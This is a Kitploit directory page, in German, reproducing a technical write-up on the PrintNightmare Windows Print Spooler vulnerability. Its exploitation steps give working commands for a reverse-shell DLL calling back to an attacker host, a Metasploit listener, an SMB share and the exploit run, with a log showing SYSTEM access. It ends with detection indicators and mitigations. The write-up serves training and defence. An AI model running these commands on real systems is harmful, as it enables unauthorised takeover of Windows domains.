Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-1675-PrintNightmare-Analysis — Technische Dokumentation und Analyse von PrintNightmare (CVE-2021-1675 / CVE-2021-34527), einschließlich RCE/LPE-Ausnutzung, Erkennung über Windows-Ereignisprotokolle und Gegenmaßnahmen für den Print Spooler. | Kitploit
Tools/GitHubGitHub/velessecurity/cve-2021-1675-printnightmare-analysis
Privilege EscalationAufklärungSchwachstellenanalyseExploitationPenetrationstestsPapers & ForschungLernen & BildungIncident ResponseLog-Analyse

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHubvelessecurity/cve-2021-1675-printnightmare-analysis

CVE-2021-1675-PrintNightmare-Analysis

Technische Dokumentation und Analyse von PrintNightmare (CVE-2021-1675 / CVE-2021-34527), einschließlich RCE/LPE-Ausnutzung, Erkennung über Windows-Ereignisprotokolle und Gegenmaßnahmen für den Print Spooler.

Repository anzeigen
vor 1 TagNoch nicht geprüft

Schwachstellenforschung: Lokale Rechteausweitung und RCE über Windows Print Spooler (PrintNightmare / CVE-2021-1675)

Dieses Repository enthält einen detaillierten technischen Bericht (Write-up) und die Analyse eines Exploit-Konzepts für die kritische Schwachstelle im Windows-Druckwarteschlangendienst (Print Spooler), die es einem niedrig privilegierten Domänenbenutzer ermöglicht, aus der Ferne beliebigen Code mit maximalen Systemrechten auszuführen.

🛑 WARNUNG & HAFTUNGSAUSSCHLUSS: Dieses Material dient ausschließlich Bildungszwecken und der Durchführung legitimer Sicherheitsaudits (Pentest). Die Verwendung der beschriebenen Techniken gegen Systeme ohne vorherige schriftliche Zustimmung der Eigentümer ist gesetzlich strafbar.


📌 Relevanz und Kontext der Forschung

Die Schwachstellen der PrintNightmare-Familie stellen eine kritische Bedrohung für Unternehmensumgebungen auf Basis von Windows Server und Active Directory dar. Ein architektonischer Fehler bei der Rechteprüfung in den RPC-Schnittstellen MS-RPRN (Print System Remote Protocol) und MS-PAR (Print System Asynchronous Remote Protocol) ermöglicht es, legitimerweise die Installation von Druckertreibern auf einem entfernten Server anzufordern.

Die größte Gefahr besteht darin, dass der Druckwarteschlangendienst (spoolsv.exe) standardmäßig auf den meisten Servern aktiv ist, einschließlich der Domänencontroller (Domain Controllers), und im Kontext der höchsten Privilegien NT AUTHORITY\SYSTEM arbeitet. Die Kompromittierung eines einzigen niedrig privilegierten Kontos (z. B. durch Phishing) ermöglicht es dem Angreifer, sofort die vollständige Kontrolle über die gesamte Active-Directory-Infrastruktur zu übernehmen.


🏗 Forschungsarchitektur und Stack

  • Ziel: Erlangung der Kontrolle über einen entfernten Windows-Host über die RPC-Druckschnittstellen.
  • Angriffsvektor: RPC Remote Driver Load → DLL Injection → SYSTEM Privileges.
  • Werkzeuge: impacket (rpcdump, smbserver), msfvenom, Metasploit Framework, Python-Exploit.

📈 Praktischer Ablauf der Exploitation

Schritt 1. Aufklärung und Sammlung von Anmeldedaten (Reconnaissance)

Für die Umsetzung des Vektors der Remote-Codeausführung (RCE) sind gültige Domänenanmeldedaten eines Benutzers mit minimalen Rechten erforderlich (im Rahmen der Untersuchung bereitgestellt).

  • Basis-Audit des Dienstes: Der Print-Spooler-Dienst (spoolsv.exe) ist auf der Ziel-Windows-Maschine aktiv und läuft mit maximalen SYSTEM-Privilegien, was eine direkte Möglichkeit zur lokalen Rechteausweitung (LPE) auf dem Host durch das Laden einer nicht vertrauenswürdigen Bibliothek eröffnet.

Schritt 2. Scannen der RPC-Schnittstellen (Scanning)

Vor dem Start des eigentlichen Exploits muss sichergestellt werden, dass die entfernte Maschine die verwundbaren Druckprotokolle bereitstellt und für die Netzwerkkommunikation offen ist. Wir befragen die RPC-Schnittstellen des Zielsystems:

root@kitploit:~
impacket-rpcdump @<TARGET_IP> | egrep 'MS-RPRN|MS-PAR'

Kontrollierte Terminalausgabe:

root@kitploit:~
Protocol: [MS-RPRN], Endpoint: [\pipe\spoolss]
Protocol: [MS-PAR], Endpoint: [\pipe\spoolss]
  • Erkenntnis der Phase: Der Zielhost hat erfolgreich die Protokollzeilen [MS-RPRN] und [MS-PAR] zurückgegeben. Dies bestätigt zu 100 %, dass das System die erforderlichen Remote-Druckschnittstellen unterstützt und gegenüber dem PrintNightmare-Vektor verwundbar ist.

Schritt 3. Vorbereitung der Payload und Infrastruktur (Weaponization)

1. Generierung einer bösartigen DLL mit Reverse-Shell:

Wir erstellen eine Payload für die x64-Architektur und geben die IP-Adresse unserer Angreifermaschine für die reverse Netzwerkverbindung an:

root@kitploit:~
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f dll -o /tmp/malicious.dll

2. Starten eines Hintergrund-Listeners in Metasploit:

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST <ATTACKER_IP>; set LPORT 4444; run -j"

3. Bereitstellung einer lokalen SMB-Freigabe:

Der Ziel-Windows-Server muss eine legitime Möglichkeit haben, unsere DLL-Bibliothek über das Netzwerk herunterzuladen, ohne Verwendung von Drittanbieter-Utilities. Wir starten einen SMB-Server mit Unterstützung des SMBv2-Protokolls aus dem Ordner /tmp:

root@kitploit:~
sudo impacket-smbserver tmp /tmp -smb2support

Schritt 4. Exploitation und Übernahme des Systems (Exploitation)

Wir führen das Python-Exploit-Skript aus und übergeben ihm die niedrig privilegierten Domänenanmeldedaten des Benutzers sowie den UNC-Pfad zur bösartigen Bibliothek auf unserer lokalen SMB-Freigabe:

root@kitploit:~
python3 CVE-2021-1675.py <LOW_PRIV_USER>:<PASSWORD>@<TARGET_IP> '\\<ATTACKER_IP>\tmp\malicious.dll'

Log der erfolgreichen Session-Übernahme (Metasploit):

root@kitploit:~
[*] Started reverse TCP handler on <ATTACKER_IP>:4444 
[*] Sending stage (200574 bytes) to <TARGET_IP>
[*] Meterpreter session 1 opened (<ATTACKER_IP>:4444 -> <TARGET_IP>:49321)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > shell
Process 3412 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1935]
(c) Корпорация Майкрософт (Microsoft Corporation). Все права защищены.

C:\Windows\system32> whoami
nt authority\system
  • Ergebnis: Nach dem Aufruf des Exploits hat der entfernte Druckerdienst den bösartigen Treiber erfolgreich aus dem Netzwerkordner geladen. In Metasploit wurde eine Meterpreter-Session mit dem Status höchster Privilegien NT AUTHORITY\SYSTEM geöffnet. Das Ziel ist vollständig kompromittiert.

🔍 Kompromittierungsindikatoren und Erkennung (Detection)

Für Blue-Team-Spezialisten basiert die Erkennung der PrintNightmare-Exploitation auf dem Audit der Windows-Systemprotokolle und der Verfolgung anomaler Prozessaktivität.

1. Überwachung der Windows-Ereignisse (Event Logs)

Ein erfolgreicher Exploit-Lauf hinterlässt charakteristische Einträge in den Druck- und Systemprotokollen:

  • Event ID 808 (PrintService): Registriert einen Fehler oder das untypische Laden eines Druckermoduls. Ermöglicht die Einsicht in den Namen der geladenen Drittanbieter-DLL (z. B. aus Pfaden wie C:\Windows\System32\spool\drivers\x64\3\).
  • Event ID 7031 (System): Plötzlicher erzwungener Neustart des Druckwarteschlangendienstes (Print Spooler), verursacht durch die instabile Arbeitsweise des Exploits.

2. Prozessverhalten (EDR / Sysmon)

  • Anomale Kindprozess-Aktivität: Auftreten von Befehlszeilenprozessen (cmd.exe, powershell.exe) oder Datensammlungs-Utilities, deren übergeordneter Prozess der Systemprozess des Druckwarteschlangendienstes spoolsv.exe ist. Unter legitimen Bedingungen erzeugt spoolsv.exe niemals Befehls-Shells.
  • Netzwerkaktivität: Aufbau ausgehender Netzwerkverbindungen durch den Prozess spoolsv.exe zu externen SMB-Ressourcen (Port 445) zum Herunterladen von Treiberdateien.

🛡 Empfehlungen zur Behebung der Schwachstelle (Mitigation)

  1. Vollständige Deaktivierung des Dienstes (Empfohlen): Wenn der Server keine Druckfunktionen ausführt (insbesondere auf Domänencontrollern), muss der Print-Spooler-Dienst vollständig deaktiviert und in den Modus Disabled versetzt werden.
  2. Einschränkung des Remote-Drucks: Deaktivierung der Möglichkeit des Remote-Drucks über Gruppenrichtlinien (GPO):
    • Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections (Disabled).
  3. Installation von Updates: Rechtzeitiges Einspielen der offiziellen Microsoft-Sicherheitsupdates (KB) zur Schließung der Schwachstellen für Remote-Codeausführung im Drucksubsystem.

🔗 Nützliche Links und Materialien

  • CVE-Datenbank: NIST NVD - CVE-2021-1675 | NIST NVD - CVE-2021-34527
  • Analyseartikel: Microsoft Security Update Advisory
Tool herunterladen